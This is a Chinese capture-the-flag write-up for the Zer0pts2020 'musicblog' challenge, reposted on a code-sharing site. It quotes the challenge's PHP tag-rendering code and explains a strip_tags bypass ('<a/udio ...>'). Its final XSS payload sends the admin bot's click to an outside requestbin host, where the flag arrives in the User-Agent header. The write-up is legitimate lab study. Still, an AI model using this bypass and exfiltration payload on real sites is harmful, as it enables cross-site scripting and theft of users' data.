当前位置: 代码迷 >> 综合 >> 每日一题 [Zer0pts2020]musicblog
  详细解决方案

每日一题 [Zer0pts2020]musicblog

热度:82   发布时间:2023-12-22 00:14:01.0

进去一个登陆注册,先随便注册一个,然后进入以下页面
在这里插入图片描述
New post,看到他说都会replace radio,例如我们在我们服务器传一个MP3文件,那么Content内填[[url/xxx.mp3]]就可以播放了,但是这里有csp限制,只能在同一个域内请求,可以去看他给的例子,把例子的复制下来放进[[]]里面就可以播放,但是没卵用,看到下面有个if you check this check box,admin will check your post感觉就是xss了,F12观察一下是<audio>标签,插过自动播放,插过很多,疯狂的插,没用,搞了半天是给源码的…
在这里插入图片描述
既然给了源码,就看关键部分

// [[URL]] → <audio src="URL"></audio>
function render_tags($str) {
    $str = preg_replace('/[[(.+?)]]/', '<audio controls src="\1"></audio>', $str);$str = strip_tags($str, '<audio>'); // only allows `<audio>`return $str;
}

咱就是说,无语了。这里看了一下strip_tags,虽然注释说的是only allows <audio>,但是这里我们放个斜杠/他会变成空格,比如<a/udio>他就变成了<a udio>那么就想到用a href造成xss,关键是看管理员怎么访问,源码里给了id=like也就是点赞的这么一个动作,那么让管理员点赞一下我们发的东西应该就可以接受到他的请求,这里要用到BUU提供的内网服务,因为靶机不能访问外网

http://http.requestbin.buuoj.cn/

create一个,然后就懂的都懂
最终payload
<a/udio id=like href=http://http.requestbin.buuoj.cn/yhdw7ryh>
然后可以看到在UA头给了flag
在这里插入图片描述

总结

xss,一开始不知道给源码,很难受,所以我们需要细心观察)